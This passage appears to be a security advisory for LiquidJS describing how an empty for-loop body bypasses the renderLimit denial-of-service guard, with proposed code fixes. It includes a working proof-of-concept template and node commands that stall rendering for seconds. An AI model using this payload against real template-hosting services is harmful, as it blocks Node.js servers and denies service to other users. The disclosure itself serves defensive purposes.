LiquidJS has a renderLimit DoS guard bypass via empty `{% for %}` body

The range expression itself is bounded only by memoryLimit:

// src/render/expression.ts:67-72
function * evalRangeToken (token: RangeToken, ctx: Context) {
  const low: number = yield evalToken(token.lhs, ctx)
  const high: number = yield evalToken(token.rhs, ctx)
  ctx.memoryLimit.use(high - low + 1)
  return range(+low, +high + 1)
}

So the maximum bypass is governed by the (separate) memoryLimit, not by renderLimit. Integrators following the docs/source/tutorials/dos.md guidance — which positions renderLimit as the time-based defense — get no time-based defense at all on this code path.

PoC

Reproduced against [email protected] (HEAD 34877950):

# Empty for-body bypasses renderLimit (50 ms) and runs for ~2.26 s:
$ node -e "const { Liquid } = require('liquidjs');
  const engine = new Liquid({ memoryLimit: 1e9, renderLimit: 50 });
  const t = Date.now();
  engine.parseAndRenderSync('{%- for i in (1..30000000) -%}{%- endfor -%}', {});
  console.log('Took', Date.now()-t, 'ms');"
Took 2255 ms

# Same template with a single-character body is correctly bounded:
$ node -e "const { Liquid } = require('liquidjs');
  const engine = new Liquid({ memoryLimit: 1e9, renderLimit: 50 });
  try { engine.parseAndRenderSync('{%- for i in (1..30000000) -%}.{%- endfor -%}', {}); }
  catch(e) { console.log('correctly threw:', e.message); }"
correctly threw: template render limit exceeded, line:1, col:1

Scaling N:

• N = 30_000_000 → 2255 ms (≈ 45× over the 50 ms limit)
• N = 100_000_000 → 9581 ms (≈ 191× over the 50 ms limit)

Time grows linearly with N, capped only by memoryLimit (default Infinity, so the only cap by default is process memory).

Impact

Any liquidjs integrator who follows the upstream DoS guidance and sets a finite renderLimit to bound per-render CPU — typical for SaaS / multi-tenant environments where end users author templates (themes, email templates, snippets) — does not get the bound they configured. A single template submission can keep an event-loop thread busy for seconds, which on a Node.js server is sufficient to stall all in-flight requests on that worker. With a large enough range and a permissive memoryLimit, the wedge time is attacker-controlled. No data is exposed and no integrity is harmed; impact is availability only.

Recommended Fix

Move the renderLimit check to a location that runs unconditionally per renderTemplates invocation, so a zero-template body still triggers it; alternatively (or additionally) have iteration tags that invoke renderTemplates per element check the limiter themselves once per iteration.

// src/render/render.ts — check at function entry, before the templates loop
public * renderTemplates (templates: Template[], ctx: Context, emitter?: Emitter): IterableIterator<any> {
  if (!emitter) {
    emitter = ctx.opts.keepOutputType ? new KeepingTypeEmitter() : new SimpleEmitter()
  }
  ctx.renderLimit.check(getPerformance().now())   // <-- runs even when templates is empty
  const errors = []
  for (const tpl of templates) {
    ctx.renderLimit.check(getPerformance().now())
    ...
  }
  ...
}

And/or, defensively, in the iteration tags themselves so the guard cost is paid once per element rather than only at re-entry:

// src/tags/for.ts (around line 70)
for (const item of collection) {
  ctx.renderLimit.check(getPerformance().now())   // <-- per-iteration time check
  scope[this.variable] = item
  ctx.continueCalled = ctx.breakCalled = false
  yield r.renderTemplates(this.templates, ctx, emitter)
  if (ctx.breakCalled) break
  scope.forloop.next()
}

// src/tags/tablerow.ts (around line 54) — analogous addition
for (let idx = 0; idx < collection.length; idx++, tablerowloop.next()) {
  ctx.renderLimit.check(getPerformance().now())
  ...
}

The same hardening should be applied anywhere a tag drives an attacker-influenced loop count over a (potentially empty) templates array.